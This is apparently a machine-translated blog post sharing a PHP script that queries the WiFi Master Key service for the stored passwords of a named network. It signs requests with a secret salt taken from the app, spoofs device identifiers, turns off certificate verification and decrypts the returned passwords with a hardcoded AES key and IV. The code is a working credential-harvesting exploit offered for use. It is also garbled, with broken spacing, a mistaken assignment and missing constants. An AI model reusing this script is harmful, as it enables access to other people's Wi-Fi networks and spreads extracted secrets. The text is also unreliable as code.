This article is a WIFI universal key password query interface instance shared by the students. The code is very simple and suitable for development and use by programmers. If you are interested, study with the editor, paste Code directly to everyone.
<? Php // some code from http://www.wooyun.org/bugs/wooyun-2015-099268 $ Bssid = "c8: 3a: 35: fa: b8: 80"; $ ssid = "Podinns2F03"; if (isset ($ bssid) & isset ($ ssid )) {// update salt $ ret = request ($ bssid, $ ssid, md5 (rand (1, 10000); $ ret = json_decode ($ ret ); $ ret = request ($ bssid, $ ssid, $ ret-> retSn); $ ret = json_decode ($ ret); if ($ ret-> retcm = 0) {if ($ ret-> qryapwd-> retcm = 0) {$ list = $ ret-> qryapwd-> psws; foreach ($ list as $ wifi) {echo 'ssid :'. $ wifi-> ssid. "\ n"; echo 'pwd :'. decryptStrin ($ wifi-> pwd ). "\ n"; echo 'bssid :'. $ wifi-> bssid. "\ n"; if ($ wifi-> xUser) {echo 'xuser :'. $ wifi-> xUser. "\ n"; echo 'xpwd :'. $ wifi-> xPwd. "\ n" ;}}} else {echo $ ret-> qryapwd-> retMsg ;}} function request ($ bssid, $ ssid, $ salt, $ dhid = 'ff8080814cc5798a014ccbbdfa375369 ') {$ data = array (); $ data ['appid'] = '000000'; $ data ['bssid '] = $ bssid; $ data ['chanid'] = 'gw '; $ data ['dhid'] = $ dhid; $ data ['II'] = '609537f302fc6c32907a935fb4bf7ac9 '; $ data ['lang '] = 'cn'; $ data ['mac'] = '60f81dad28de'; $ data ['method'] = 'getdeepsecchkswitch '; $ data ['pid '] = 'qryapwd: commonswitch'; $ data ['ssid'] = $ ssid; $ data ['st'] = 'M '; $ data ['uhid'] = 'a000000000000000000000000000000'; $ data ['V'] = '000000'; $ data ['sign'] = sign ($ data, $ salt); $ curl = curl_init (); curl_setopt ($ curl, CURLOPT_URL ,' http://wifiapi02.51y5.net/wifiapi/fa.cmd '); Curl_setopt ($ curl, CURLOPT_USERAGENT, 'wifimasterkey/1.1.0 (Mac OS X Version 10.10.3 (Build 14D136)'); curl_setopt ($ curl, expires, false ); // stop verifying certificate curl_setopt ($ curl, success, true); curl_setopt ($ curl, CURLOPT_POST, true); // enable posting curl_setopt ($ curl, CURLOPT_POSTFIELDS, http_build_query ($ data); // post images curl_setop T ($ curl, CURLOPT_FOLLOWLOCATION, true); // if any redirection after upload $ r = curl_exec ($ curl); curl_close ($ curl); return $ r ;} function registerNewDevice () {$ salt = '1hf % 5Yh & 7Og $ 1Wh! 6Vr & 7Rs! 3Nj # 1Aa $ '; $ data = array (); $ data ['appid'] = '000000'; $ data ['bssid '] = $ bssid; $ data ['chanid'] = 'gw '; $ data ['dhid'] = $ dhid; $ data ['II'] = '609537f302fc6c32907a935fb4bf7ac9 '; $ data ['lang '] = 'cn'; $ data ['mac'] = '60f81dad28de'; $ data ['method'] = 'getdeepsecchkswitch '; $ data ['pid '] = 'qryapwd: commonswitch'; $ data ['ssid'] = $ ssid; $ data ['st'] = 'M'; $ data ['Uhid'] = 'a000000000000000000000000000000'; $ data ['V'] = '000000'; $ data ['sign'] = sign ($ data, $ salt );} function sign ($ array, $ salt) {// signature algorithm $ request_str = ''; // Arrays in the apk. sort the sort array, and test PHP to use ksort ($ array); foreach ($ array as $ key => $ value) {$ request_str. = $ value;} $ sign = md5 ($ request_str. $ salt); return strtoupper ($ sign);} function decryptStrin ($ str, $ Keys = 'K % 7Ve # 8Ie! 5Fb & 8E ', $ iv = 'y! 0Oe # 2Wj # 6Pw! 3v', $ cipher_alg = MCRYPT_RIJNDAEL_128) {// Wi-Fi universal key password encrypted using AES/CBC/NoPadding // [length] [password] [timestamp] $ decrypted_string = mcrypt_decrypt ($ cipher_alg, $ keys, pack ("H *", $ str), MCRYPT_MODE_CBC, $ iv); return substr (trim ($ decrypted_string), 3,-13);}?>
Is the above Code simple? I hope everyone will like it.